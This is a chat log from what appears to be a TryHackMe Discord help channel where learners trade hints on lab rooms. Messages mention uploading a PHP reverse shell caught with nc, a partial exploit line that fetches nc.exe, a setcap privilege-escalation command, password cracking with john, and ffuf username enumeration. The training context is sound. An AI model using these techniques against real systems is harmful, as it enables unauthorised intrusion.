Yup. Set that. Went to site, uploaded. Clicked new file. Got that result on the site. Neg results on nc.

lucid junco
#

Ok, set a new nv for 9005

#

Let me know when you're done

tired maple
#

Changed. Uploaded. Set nc. Clicked. No dice.

lucid junco
#

I wanted to try something, is nc still open?

tired maple
#

Mine? No. Will reopen.

#

Reopened on 9005

#

rec'd

lucid junco
#

Did you get a shell?

tired maple
#

Yup

lucid junco
#

Yeah, I think it's the script you're trying

viscid ruin
#

yeah there's something wrong with the script, when you click the upload it should hang instead of showing that text output

#

did this one yesterday I'll try to find the script I used one sec

tired maple
#

Thats what I expected. Thats what I've seen on vid walkthroughs. Mine wasn't hanging.

lucid junco
#

That's why I directed you towards pentest monkey.

#

That one will come in handy for alot of stuff you need to catch.

tired maple
#

I literally copied that, input the required data, and saved. lol

lucid junco
#

The full script?

tired maple
#

Still did't work

lucid junco
#

Cat your script for me, and show me the output

viscid ruin
#

there's a preinstalled php revshell on kali if you go to /usr/share/webshells/php, you could try that one

#

just copy it, change the ip/port values and make the extension .php5

lucid junco
#

They have a shell now, I uploaded one for them.

#

To show it can be done.

#

Now we need to teach them what we used. ๐Ÿ™‚

tired maple
#

I got a shell. I think I figured out what I was doing wrong. Scrubz said "the full script." I only cpied the specific lines in the middle with the data points you need to change. I copied the entire thing, saved, upload, nc, click, profit.

#

/faceplam

viscid ruin
#

oh lmao yeah, you didn't have the <php tags in that case

lucid junco
#

It's all a learning experience.

tired maple
#

Yea lol. Well, thanks for riding the struggle bus with me y'all. Now I gotta get through the priv escalation. ๐Ÿ™‚

viscid ruin
#

blobfingerguns gl

tired maple
#

yee yee

white salmon
#

don't feel too bad. last night instead of copying the source code of an exploit from exploit-db, I used wget on the actual web page to send to my local machine. Not realizing that it wasn't giving me the exploit source code, it gave me the web page source code

#

almost referred to the walkthrough until at the last minute I decided to open the source code and see if I could figure something out and saw that it was HTML

ivory meadow
#

oh lol It happens

hasty mauve
#

Hi, question about Wireshark 3: traffic analysis module
i am on the section HTTP traffic on the user-agent section and they want me to spot the frame number with a minute spelling difference in the user-agent field
but, for the life of me I cannot find it, I have been staring for hours. Can someone nudge me in the right direction

#

I added the user-agent field as an extra column, but not a single user-agent except for the malicious ones seem misspelled to me, 32 seems off but that's not accepted as the answer, and probably shouldn't be anyways

hasty mauve
#

nvm, found it already lol

mellow schooner
#

Im in task 22 OWASP 10-2021 in final task there is an extra question that is

Going the Extra Mile: There's a way to use SSRF to gain access to the site's admin area. Can you find it?

can someone explain what to do ? I'm curious

astral badger
#

Task 8 in windows fundamentals part 1, I don't have a clue, everything I've tried.

#

||In the Control Panel, change the view to Small icons. What is the last setting in the Control Panel view?||

#

I just need a hint, as to where to look for it.

#

I'm just getting redirected to settings page.

pulsar turret
# mellow schooner Im in task 22 OWASP 10-2021 in final task there is an extra question that is G...

Remember the earlier task in the module where you exploited the file download using the url associated with the "Download Resume" button? You can use the same exploit to access the /admin page as localhost. You will need to know how to escape the id at the end to make it work though. Finding how to url encode "#" to escape the id will will help. Hope those are enough hints to get you through it.

lucid junco
#

Now change it to small icons

astral badger
lucid junco
#

I'm going to have to boot up a machine to see how I did it, my host is different.

astral badger
lucid junco
#

I've got my cursor over Network etc.

Just ignore that

astral badger
#

I was using that, on A&P.

#

still couldn't get anywhere

lucid junco
#

What about View By: ?

astral badger
green minnowBOT
#

Gave +1 Rep to @lucid junco

waxen bramble
#

is there a bug in easyctf?

#

i got the second question but its wrong

#

like i got the answer correclty because i filled in a couple of services i knew after doing an nmap scan

#

but using the nmap scan i see port 21 and port 80

#

not port 22

#

there are 2 ports under 1000 that was correct

#

so whats up with that

low viper
#

For what is running on the higher port question?

waxen bramble
#

ye

#

the higher one would be port 80 right

#

like the higher one of the 2

#

OH BRUH i got it... its a bit dumb cuz thats higher than 1000

#

misunderstood the qeustion there

low viper
#

Yeah. Just now saw

#

I thought you got only two ports in your nmap scan

charred plover
pulsar turret
trim haven
#

We don't help with private rooms here, please contact the room creator

charred plover
green minnowBOT
#

Gave +1 Rep to @pulsar turret

charred plover
trim haven
#

i'm on a private room

#

It's a room that isn't set to public

pulsar turret
charred plover
#

so only the creators share them?

trim haven
#

Mhm

charred plover
#

i thought i tried http://site.com:8087/download?server=$ip_of_target_box:8087%23&id=1234...

#

but maybe i forgot port like you said

#

ill look again

pulsar turret
# charred plover wait whats a private room?

Sometimes private rooms are made by teaching institutions/teachers and could be tests so that students don't have the answers available on the web. I think that's why they don't allow help with private rooms here.

charred plover
#

what kind of account can create private rooms? has to be biz or edu?

pulsar turret
low viper
charred plover
charred plover
green minnowBOT
#

Gave +1 Rep to @pulsar turret

pulsar turret
charred plover
#

ahhhh duh hahah

#

lol what a dingus

pulsar turret
#

Don't worry, we've all had those moments. I've lost count of the amount of times where i've had just one small parameter or misspelling that's held me up for hours, or just completely overthought something and missed the obvious

glossy mural
#

Why are null, fin, Xmas scans generally used?

white salmon
lucid junco
boreal willow
# pulsar turret Sometimes private rooms are made by teaching institutions/teachers and could be ...

guess i worry about the same thing in the case private rooms be asked to help with, are they maintaintained to still be accurate to be finished months or yrs later? if the tech changes and you use your own kali install and get stuck because it is too linear and progress depends to a successful ctf depending one something deprecated in your pentesting setup or even in an updated attactbox then you can't move on and complete the cert

#

I also have another question will there ever be, or are there any I dont know of yet, proctored rooms in future plans? proctoring requires extra effort but that would also be a way for THM to make an extra profit I guess

astral badger
#

So I'm on the cookie tampering task and the question is encoding the value in base64, I'm copy-pasting the encoded value and getting the answer wrong, is there something else I need to do?

#

Okay nevermind, I solved the question.

boreal willow
lofty crag
#

Good morning, I am doing the "tomghost" room, I got the first flag, I am in the privilege escalation process and I see two files 1) tryhackme.asc 2) credential.pgp, I tried to do an attack with john to get the passphrase of tryhackme with the rockyou dictionary but it doesn't send me anything (I already got the hash with gpg2john), by chance could you give me any suggestion, the command I use is

john hashp -w /usr/share/wordlists/rockyou.txt

lofty crag
#

okey i check and i see my error, teh correct command is john --wordlist=/usr/share/wordlists/rockyou.txt hashp

glossy mural
#

I still can't get the second question on nmap

#

On task 8

lofty crag
glossy mural
#

Nmap

#

Task 8

lofty crag
# glossy mural Nmap

The answer is in the last paragraph of the task. I recommend you refresh the page in case you have entered the answer multiple times.

glossy mural
#

Got it thank you. I don't see how that question matches the answer well

vernal roost
#

hi,

i'm doing "memory forensics" room with volatility 3
I would like to read a registry key value. I have the offset but i do not find any way to read or dump it... Any help ?

โ”Œโ”€โ”€(kaliใ‰ฟkali)-[/opt/volatility/volatility3-2.4.1]
โ””โ”€$ python vol.py -f /home/kali/tryhackme/memory_forensics/Snapshot19.vmem windows.registry.printkey | grep CurrentControlSet
2020-12-27 22:50:31.000000 0xf8a000024010inKeyed \REGISTRY\MACHINE\SYSTEM CurrentControlSet True

#

no volatility 3 user ?
I used v2 but trying to use the new one (without success for the moment)

glossy mural
#

What optional argument can the ftp-anon.nse script take?

#

NMAP

#

found it using bing-- and have no idea where to find in in the room lol

forest drift
hasty marsh
#

I am doing the Attacking ICS Plant #1, but I don't get how I the python scripts from tryhackme webpage to the VM. Any knows how to do this?

#

I am not able to run the scrips provided within the VM

gleaming sandal
green minnowBOT
#

Gave +1 Rep to @pulsar turret

stuck jewel
#

Hey everyone. I am working on Network Services. It's wanting me to figure out the username and I think I need a little hint or directionin that area

#

We used a SMB share to download a auth key.

#

I am assuming I need to use that to ssh into the server?

#

Rescind that ask for help. Looked it up and found someone who had the similar problem and I of course was making the same mistake. Whoopise. Thank you for whoever was considering a response ๐Ÿคฃ

ionic hatch
#

Hi all....uhm.... so... "root me" room... ive found the obvious binary which should be used - but the intended way (via gtfobins) is not working (not permitted) - any hints?

unborn moon
ionic hatch
#

Yes, you are absolutely right - i hope its okay to post the command+output here. Im running this to escalate as per gtfobins on python, after getting on the box with a revshell: sudo setcap cap_setuid+ep python and its then (correctly?) asking for a password - which imho it should not, as /usr/bin/python is SUID.

forest drift
ionic hatch
#

FFS - thanks so much, i got it now!

forest drift
#

Glad to hear it ๐Ÿ™‚

ionic hatch
#

should've tried harder - i know ๐Ÿ˜… when reading is too difficult, its time for a break ๐Ÿ˜‰

forest drift
unborn moon
#

+rep @forest drift

green minnowBOT
#

Gave +1 Rep to @forest drift

ebon jewel
#

oh

left thunder
# ebon jewel oh

You know that would have been a ghost ping if I wasn't here already ๐Ÿ˜„

pastel talonBOT
#

Done!

ebon jewel
left thunder
stuck vector
#

Guys, I want to talk abou tthe room called VulnNet Internal

#

It is listed as Easy. Well is it rated right to be easy , I just finished it but even after going through the walkthrough I don't think itshould be qualified as Easy. Appreciate all thoughts.

#

Some one who solved it , how do you find the room. I don' tthink that most of the things done there for Privesc atleast comes intuitively.

slate raptor
#

Hello! Tell me please, who understands. I bind the mac address to the router and the Internet disappears. Why is that?

gleaming depot
#

ั€Hi all

#

I have question

#

room The Marketplace
I make stored xss but cookie admin dont steel, my cookie goot steal

gleaming depot
tender lily
#

Windows noob here. I'm stuck in Windows Fundamental I, task 7. How do I RDP to the standard user? Is the standard user tryhackmebilly? Can't find the correct name or password.

vernal roost
#

Hi, i'm looking for a reporting tool that allow me to follow all my finding and exploitation path. Someone told me about obsidian, is it a good idea ? another idea ?
when i do complex chall i find many artefacts/creds but it is difficult to keep a global view (i report to a txt file via VI for the moment)

lunar wave
#

Hello! I'm in the Upload Vulnerabilites room and I'm currently doing Task 7. Up to this point, I've used gobuster to find the directories on the website, figured out what file extensions the website will take, set up the reverse shell to match what is on my linux machine with the port 9999, changed the MIME type to have the website download the reverse shell using Burpsute, set up a netcat listener on the prementioned port and navigated to the directory where the files are stored. My issue is that when I have the netcat listen on the port and I navigate, the page stays blank and the listener isn't picking up anything. Burpsuite is off so no requests are hanging, and I did confirm that the linux ip address matches, so I was wondering if I could have a hint on what I'm doing wrong.

hazy lake
median harness
#

Hello I can't solve task 2 in web application risk Anyone help me please?

median harness
# pine dust Share the room link.

It is in a Introduction to Offensive Security ( in web application risk ) .. The answer, as I expect, should be "Brute force" for the first question and " Cryptographic Failures "for the second question, but the answer formula is required to be 10 characters only!!

lucid junco
pine dust
pine dust
lucid junco
#

It is.

#

The answer to Question 1 is not ten characters long.

#

The first word in the answer is > 10 characters.

median harness
left thunder
pine dust
median harness
#

Thank you
it was my mistake. Finally got the correct answer

agile ingot
#

hi everyone,
I have all the questions but one for the room named caseB4DM755 - its a Digital Forensics thing.
The question is asking for GPS coordinates supposedly.
but the answer seems to be in the form
********.*** *********.***
that makes no sense to me. I tried entering the co-ordinates in all kinds of ways. What am i missing ?

ebon jewel
#

can you link the room pls

alpine kestrel
ebon jewel
#

ah

agile ingot
#

thanks

brave hamlet
#

Hello, is anyone here? Can some take a look at the ssh login password for this one? I dont know what I'm doing wrong but cant seen to ssh into the machine. Its the first tasks of Networking Services. Whats the ssh login/pass???https://tryhackme.com/room/networkservices

left thunder
brave hamlet
green minnowBOT
#

Gave +1 Rep to @left thunder

slow yacht
#

Hi, getting an issue viewing files in the machine "brainstorm":

230 User logged in.
ftp> dir
229 Entering Extended Passive Mode (|||49273|)

And it freezes and disconnects
EDIT:
connected to the ftp, wrote:
passive off
and it's working.

slow umbra
# agile ingot hi everyone, I have all the questions but one for the room named caseB4DM755 - ...

I seem to have the very wrong idea of what GPS co-ordinates are ... the format suggests DDMMSS.sss but it is not .... I am at a loss and I am guessing it is some sort of specialist thing that I have never been exposed to before. Shame for such a good room. Also when XKCD cannot help ... https://xkcd.com/2170/

forest drift
#

Unfortunately that's a private room so we can't access it and help

ancient elk
#

Ayyy okay, Iโ€™ll do my best then!

forest drift
#

that's just bypassing a restriction that's there for a reason

vapid anchor
#

Oops. Sorry

#

I Can delete the post

trim haven
#

@ancient elk please donโ€™t post rooms that havenโ€™t been through the room reviewal process

rich vale
#

Hi guys, im trying the room: 'intelligence tools'

Task 5 says: what is the originating ip adress? Defang the ip adress.

So the eml file is on this machine. But i dont have anytool to use in that machine to look for headers or something in the eml.

And what do they mean with cyberchef has a defang recipe..

Cheers hami

rich vale
#

Nvm i got it thanks

white salmon
#

Guys I'm stuck on this question:
Referring to the technique from question 2, what mitigation method suggests using SMS messages as an alternative for its implementation? ( I know it's something to do with Authentication but I'm honestly so stuck )

crisp nimbus
#

@white salmon is it 2factor authentication, or no?

white salmon
crisp nimbus
#

multi-factor authentication ?

white salmon
green minnowBOT
#

Gave +1 Rep to @crisp nimbus

crisp nimbus
#

loool np ๐Ÿ˜„

spice gale
#

Hey y'all

#

I just need a little hint with the "Brute Force Heroes" room on the Potator section

#

can't figure out the correct syntax and I couldn't fine any tutorials of Potator on Youtube

thin solstice
#

Hey, so im stuck in the forensics room task 1 question 4, i know the command for volatility2, but don't know what it is for volatility3 got any tips?

vapid anchor
jovial shale
#

this makes no sense

#

what am I missing

#

nevermind

river pumice
#

Hey, anyone able to guide me in the right direction? Im doing the easy room "Startup" everytime I run "put" while in the FTP shell, i get a 553 error.

tropic garden
river pumice
stuck pasture
#

Hello! I'm currently working on solving the authentication bypass section of TryHackMe. As far as I understand, what I need to do is deal with a login page where already registered users are checked. The idea is to save these registered usernames to a file and then use that file for brute force attacks. When I run the following command, I expect the usernames to be stored in the valid_usernames.txt file:

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.98.147/customers/signup -mr "username already exists" > valid_usernames.txt

I'm not encountering any errors with this command, but the valid_usernames.txt file remains empty. As a result, I'm unable to proceed with the brute force attack. If anyone has knowledge about this issue, I would appreciate their assistance

peak grotto
stuck pasture
#

Yes, I see ffuf going through approximately 10,000 names even without the "> valid_usernames" part. However, it still doesn't output anything to the file, and I can't figure out the reason behind it.

peak grotto
#

Can you maybe send a screenshot of what it looks like, the command looks okay to me and I tried it earlier and it worked fine

stuck pasture
#

I will try it and send you a screenshot when the machine is available again. Thank you in advance ๐Ÿ™‚

chrome hull
#

in the room "Walking an application" question 3 on Task 3 does not explain how or where to find the answer. could someone clarify it?

barren spoke
#

Hello! I'm in the "Network services" room and I am trapped in the question <<What variant of FTP is running on it? >>

My first impression would be to answer "passive", as it is awaiting for the client to make the connection. But this word (and 6 character variants) do not work.

I searched for the "FTP variants" concept, getting no results to what are the option. So I am lost in what I should be looking for. Any hints?

peak grotto
peak grotto
barren spoke
green minnowBOT
#

Gave +1 Rep to @peak grotto

clever charm
#

Hey guys Iโ€™m stuck on nmpas โ€œwhat optional argument can the ftp.anon.nse script takeโ€. I read the paragraph several times. Not asking for the answer just a general direction to be steered in.

#

Ty

forest drift
clever charm
green minnowBOT
#

Gave +1 Rep to @forest drift

forest drift
clever charm
#

Nvm got it thank you

forest drift
chrome hull
green minnowBOT
#

Gave +1 Rep to @peak grotto

eternal dragon
slow yacht
#

hey, doing once piece room, can't decode 3rd and 4th poneglyphes, like something is missing, I can add something fill but there are multiple possibilities.
nvm it was just concating all of them together, so simple.

dreamy scarab
#

Hey people! I'm on the file inclusion room challenges and am a bit confused. By following the paths should we have the knowledge on how to do them or additional rooms are needed ? I've completed the HTTP Web basics, but aside from sending POST requests in the incorporated tool from the room, i haven't done it otherwise. I would prefer a hint'/direction to go on as opposed to straight answers. Thanks!

cursive charm
#

hi! in the Yara room, this task:

Inspect the actual Yara file that flagged file 1. Within this rule, how many strings are there to flag this file?```

i'm a bit lost on how to see which file i should be looking at; and am i just dumping it into nano?
deep crystal
#

Hey, I just started the Nessus Room. Created an account, started the nessus service on the Kali machine, activated with the activation code, started Nessus. Now when I want to follow along the questions of that room, I saw that most of the required buttons in Nessus are greyed-out for some reason. Any ideas?

EDIT: Just saw a popup, that Nessus is compiling still. Then I have to wait I guess ๐Ÿ™‚

wooden jetty
cursive charm
green minnowBOT
#

Gave +1 Rep to @wooden jetty

wooden jetty
faint dirge
wooden jetty
#

Hello, in the Wireshark Packet Operations room (https://tryhackme.com/room/wiresharkpacketoperations) Task 5, final question, it asks me "What is the number of "type A DNS Queries"?". I believe I typed the filter right with dns && dns.qry.type == 1 but I'm getting a 3 digit answer. The answer seems to be 2 digits. Is this a bug or do I need to change the filter?

elder lagoon
wooden jetty
#

Oh! That was it!

#

I'm curious why I need a response flag since I thought I needed to filter any DNS queries with an A type. Would you happen to know or direct me to somewhere where I can find out more?

#

@elder lagoon

#

Ah I figured it out. Apparently I forgot there is an answer to responses. Using dns.qry.type == 1 provides both queries and responses.

elder lagoon
lean hearth
#

Hi I'm stuck on year of the rabbit, I ||got to the part where I have to turn off JS and did so, however the redirect does not mention a hidden directory at all, it just has me go straight to the page with the video||

#

First request ||

Host: 10.10.110.248
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close````
||
#

I forward that, then obtain:
|| ```
GET /assets/RickRolled.mp4 HTTP/1.1
Host: 10.10.110.248
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: /
Referer: http://10.10.110.248/sup3r_s3cret_fl4g/
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Range: bytes=0-
Connection: close

unborn moon
lean hearth
#

Yes and yes

#

I solved it, || The URL's for the page ended up being slightly different think 3 instead of e||

unborn moon
#

Yeah, I remember struggling with it too, you can thank @inland onyx :p

green minnowBOT
#

Gave +1 Rep to @inland onyx

lapis storm
#

anyone available?\

lapis storm
jolly lintel
#

how websites work - html injection into name field??? not getting it.

#

how websites work - html injection into name field??? step 5, not getting it.

#

sorry task 5 not step 5

jolly lintel
#

gorget it, i got it finally, lol

upbeat latch
#

I should have the right answer, I've checked it every way I know how, but the room isn't taking it.

#

Answer I've got matches the one walkthrough that I've found.

hushed moon
#

Note:
On the Subdomain Enumeration task 6 the answer to question "What is the first subdomain discovered?" it's not correct. The first subdomain is not d****.

weary steeple
#

Blaster machine is not working according to the walkthrough!

fleet spire
#

In easypeasy, is the 2nd flag encoded in the || hidden/whatever|| bg image? if not can I have a hint, || or is it the outdated nginx? ||

unreal lynx
#

Guys, in the room Blaster is it designed in the way like, we are not allowed to restart the machine?

#

For testing the persistence

grave hinge
#

@fleet spire go back and check you nmap scan ๐Ÿ˜‰ you might need to do something slightly different with it

fleet spire
grave hinge
#

did you use with the -p- switch

#

when you was doing you nmap scans @fleet spire

fleet spire
#

why would I need -p-?

#

I know the ports

grave hinge
#

so you know the ports starting 655

fleet spire
#

yes

#

do i need
||to post reuqest?||

grave hinge
#

that will be needed for a later part. Did you check the robots.txt file on the other server

fleet spire
#

yes

#

I wasn't sure what to do with it tho

grave hinge
#

okay if you have the user agent text from that robots text. you need to find a site that will be able to crack it as it is a md5 hash

fleet spire
#

what user agent text

#

theres nothing in the site

grave hinge
#

there is another webserver on that port. Thats why i said about scanning all ports with nmap using -p-

fleet spire
#

apache

#

but how was I supposed to know there was gonna be a robots.txt?

#

the nmap scan wouldnt give it to me i think

#

was i supposed to run dirb on the specfici port?

lucid junco
#

Yup

#

If you don't specify a port, it will default to 80.

fleet spire
#

ok thank you so much ill know better next time

grave hinge
#

no probs @fleet spire

#

Also when visiting a web site for the first time. It can be handy to check for robots.txt. As it can be helpful as it will list directories that web crawlers should not index

fleet spire
#

i see

#

got any favorite site for md5 cracking or just google

grave hinge
#

@fleet spire normally I go to crackstation first and then google if it don't work there

fleet spire
#

crackstation didn't crack it

#

i tried 10 different hasing websites but then i entered it to google and it found it in an instance ๐Ÿ’€

fleet spire
#

@grave hinge would it be ok if I dm you instead of spam this channel?

unreal lynx
#

i did it today after few hrs you posted .

tropic garden
tropic garden
summer jungle
#

Can anyone help me for a question from Regular Expression room. I am just stuck in Task 5 last question. Rest all are done. ๐Ÿ˜–

austere oxide
#

I'm looking for the answer from the groups section on the mitre website. It's asking how many techniques are attributed to this group? - MITRE ROOM

#

Also looked up the answer and it's not accepting it? SOS

white salmon
#

Never look up the answer

tawny drum
#

hey im trying to figure out the agent sudo room and im up to the part where the i can read the contents of ||Agent C txt|| where it says ||the password for Agent J is stored in the picture || i tried to get the pictured metadata using imagemagick and also extensively checked the picture itself, can anyone point me in the right direction?

austere oxide
knotty peak
#

Hi I am having trouble in task 4 of steel mountain https://tryhackme.com/room/steelmountain
I changed the exploit to match my local ip and port then started a python web server and nc listener before running the exploit using python filename rhosts rport and I get this error:

  File "/home/kali/Downloads/39161.py", line 37
    vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
                                                                                                                                                                                                                                              ^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated \UXXXXXXXX escape
slow pine
#

How do we use "grep" to search for a pattern in multiple files?

โ— โ— please i need help with the vim room

tropic garden
fleet spire
#

can I have a hint? I'm stuck on root in easy peasy
|| I found the swap file ( no idea if it helps ) but i have no idea what tod owith it ||

stable fern
#

having a bit of trouble with OWASP Top 10 - 2021 / 4. Insecure Design:
||i've gone through every colour on the most common colours list, and i'm not sure if i'm just not checking enough of them, if capitalization is a problem, or i've done something wrong somewhere...||

edit: ||it was capitalisation.|| the best hint one can have is the act of asking for help...

tawny drum
fleet spire
#

I did see it, didnโ€™t check it tho

fleet spire
#

so the || swapfile || isnt related?

neat shale
#

In task 9 of https://tryhackme.com/room/networkservices it is asked which variant of ftp is running, I read the previous task, searched on the web and partially read the IETF document but I don't have a clear idea of what is asked, I tried the obvious answers but it didn't work either

neat shale
green minnowBOT
#

Gave +1 Rep to @fathom dome

merry kettle
#

Hello, I'm doing Snort Basics, task 9 Rule Structure and I'm not getting the expected output. I suspect my issue is IP ID 35369. I've used the following:

||alert icmp/tcp/udp any any <> any any (msg "Alert"; content:"35369";sid=million; rev=1)
alert icmp/tcp/udp any any <> any any (msg "Alert"; content:"IP ID 35369"; sid=million; rev=1)
alert icmp/tcp/udp any any <> any any (msg "Alert"; id:"35369"; sid=million; rev=1)||

I'm not even sure if I can use the icmp/tcp/udp as multiple tags or single use them individually. From what I understand I should be seeing a log file of sorts but no alert or file has been created.

Can anyone assist?

random hill
#

Hey I am in the STS Credentials - Create Padawan the User but when I try to create the user in Cloudshell it says: An error occurred (AccessDenied) when calling the CreateUser operation: User: arn:aws:iam::255057195418:user/255057195418 is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::255057195418:user/padawan because no identity-based policy allows the iam:CreateUser action

#

Please help ๐Ÿ˜ญ

thorn umbra
merry kettle
#

These are rules from my local.rules file. Obviously my syntax is incorrect but which is the more correct route just so I know which direction to go.

thorn umbra
#

e.g. โ€˜icmp, udp, tcp are all on top of ip, just use ipโ€™

#

If the rule actually works Iโ€™d call it โ€˜correctโ€™, but thereโ€™s a bit of simpler-is-better in play here.

merry kettle
#

Thank you

merry kettle
#

@thorn umbra figured out the issue ๐Ÿ™‚ I learned about a way to test my rules and it kept failing and even though I used a known good one, it still failed. I realized I was creating the rules in the /etc/snort/snort.conf location instead of the local.rules within the Task-9 folder. With the cmd I found to test my rules, I was able to refine it more. Also, turns out you canNOT do the ICMP/TCP/UDP in a single line, they need to be done with a seperate rule for each protocol. Thanks again @.@

green minnowBOT
#

Gave +1 Rep to @thorn umbra

gentle plume
#

im doing the weasel room. ||i understood that this is a wsl and now im in the container. not sure how to get the mount running without knowing the password for the dev-datasci||

odd vessel
#

I got stuck in the flag 3

lucid junco
glacial arrow
#

where i can find rooms

median glade
#

Need help with hacking with powershell

dark vault
#

Snort Room: Which snort mode works similar to NIPS mode? Answer Format: ***
This has me stumped

cedar heath
#

in the walking the application room, having trouble finding the directory that the room is reffering to

white salmon
#

anyone know why it says this unable to connect thing

trim haven
white salmon
#

ty

trim haven
#

Most rooms will use http:)

white salmon
#

i passed it yaya

alpine kestrel
#

generally firefox complains about self signed or none verifiable certs if the room uses https which yeah is accurate

#

as the rooms don't have a connection to the outside internet generally

white salmon
#

should i use a double VPN

alpine kestrel
white salmon
#

i already use ISPS on top of my normal VPN

#

so what should i do bc i already use one

alpine kestrel
#

if you try and use the tryhackme vpn over another vpn it has a high chance to cause network issues which makes your exploits not work as inteneded

#

which means use only the tryhackme vpn and then switch to your usual one when you are done with tryhackme for the day

alpine kestrel
alpine kestrel
final ocean
#

There is a question in room 'hacking with powershell'

How many cmdlets are installed on the system(only cmdlets, not functions and aliases)?
What will be the answer please??

proven ingot
#

hello. i dont know but i saw this question asked on this discord multiple times. search "how many cmdlets". maybe you find the answer idk..

#

@final ocean

median shuttle
#

Hello! Help me please. Start command "nmap -A -p- (ip adress)". It's been an hour now and nothing is happening. I launch nmap in an attack box.

alpine kestrel
#

should give you a time status or increase verbosity letting you see what happens

#

but yeah generally an all ports scan with nmap is gonna take quite a while unless you speed it up with -T4 or -T5

#

or other speedups

#

like increased min rate

median shuttle
fathom dome
final ocean
green minnowBOT
#

Gave +1 Rep to @fathom dome

fallow wedge
#

Hello guys, i have a question about hashing, in a Hashing room i read that usually the format for hashing is: $format$rounds$salt$hash
However i see hashes like these: $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG, $6$GQXVvW4EuM$ehD6jWiMsfNorxy5SINsgdlxmAEl3.yif0/c3NqzGLa0P.S7KRDYjycw5bnYkF5ZtB8wQy8KnskuWQS3Yr1wQ0
Which are in this kind of format $format$??rounds or salt??$hash and i dont understand if second argument is salt or rounds

fathom dome
# fallow wedge Hello guys, i have a question about hashing, in a Hashing room i read that usual...

Format > Rounds > Salt > Hash. I recommend completing this module for a better understanding of cryptography and the hashing function.
https://tryhackme.com/module/cryptography

wooden merlin
#

did you find the coordinates using the exiftool?

#

well i just tried it and it worked. I just replaced the deg with ยฐ

#

there has to be a space between each number

#

no you have to get the coords from the letter-image.jpg

#

no prob

green minnowBOT
#

Gave +1 Rep to @wooden merlin

maiden heron
#

Does anyone have a tiny hint that will nudge me towards initial access in the โ€žRelevantโ€œ room?

#

I am struggeling.

maiden heron
green minnowBOT
#

Gave +1 Rep to @lucid junco

lucid junco
earnest bronze
#

Anyone have advice for Flag 2 in the File Inclusion Room challenge? I've updated the cookie setting to "Admin", and have tried every directory traversal method I know, but to no avail

rustic sphinx
#

have a look at the different ways of bypasses, and take a look at what the cookie is actully being used for

chrome hull
#

How do you find directories on the web server using the GoBuster tool?

lucid junco
#

Set a target, set a word list and run it.

chrome hull
#

i did it just says Progress: 0 and nothing else happens

lucid junco
#

What's your syntax?

chrome hull
#

after it says "starting gobuster in directory enumeration mode" then the progress message i showed before

lucid junco
#

What are you attacking?

chrome hull
#

a THM machine for a CTF

lucid junco
#

Show a screenshot please.

chrome hull
lucid junco
#

Syntax too please.

chrome hull
#

is the IP being exposed ok?

lucid junco
#

Yes.

chrome hull
lucid junco
chrome hull
fathom dome
lucid junco
chrome hull
#

i removed the port same thing ill try to download the wl and see if it runs from that

chrome hull
#

i wasnt in root sorry xD

fathom dome
# chrome hull https://prnt.sc/xjd258vsBVEi

From the screenshot, you're in the /home directory wich you don't have permissions to write to. You dont need to run this as root, just change to YOUR home dir (cd ~ or cd /home/kali) and do the wget command

chrome hull
#

ohhh i didnt know it matter where i actually was in the directory ill try again

lucid junco
chrome hull
#

30 til ip

#

"Error: error on running gobuster: unable to connect to http[IP]: Get "[IP]": context deadline exceeded (Client.Timeout exceeded while awaiting headers) "

#

even after removing the HTTP and the / It still just goes back to progress:0

fathom dome
#

Wait a couple minutes for the target machine to start, verify that the web server is actually running on port 80, Run gobuster again

lucid junco
#

It is.

lucid junco
#

It's the Simple CTF.

fathom dome
chrome hull
#

10.10.98.0

lucid junco
#

dsstorewordlist

#

Which directory is that in?

#

and which file?

#

I just scanned it

fathom dome
chrome hull
#

I cancelled it and restarted it twice and it worked this time Thank you both @fathom dome and @lucid junco

green minnowBOT
#

Gave +1 Rep to @fathom dome

fathom dome
#

+rep @lucid junco

green minnowBOT
#

Gave +1 Rep to @lucid junco

chrome hull
#

after runing NC and changing the IP and port on the reverse shell.php i get a HTML 404 not found error message when I curl it am I overlooking something?

fathom dome
#

Are you still on simple CTF?

chrome hull
#

๐Ÿ˜ฆ yes

fathom dome
# chrome hull ๐Ÿ˜ฆ yes

There's no "uploads" directory on that web server. From the gobuster scan you did before you should have found the CMS already.

chrome hull
#

its not a "uploads" directory its the panels/index directory . "panels" was the hidden directory but once i upload to do the reverse shell i get that error message

fathom dome
#

Just so that we are on the same page here

ebon jewel
#

or 0 at all in ip

fathom dome
ebon jewel
alpine kestrel
# ebon jewel or 0 at all in ip

so you are saying that 192.168.0.10 is not a valid ip??? because in shadows experience that is a valid ip in a local home network... but yeah no ip:s ends with just a 0

chrome hull
#

no thats not the room im doing

ebon jewel
#

oh

#

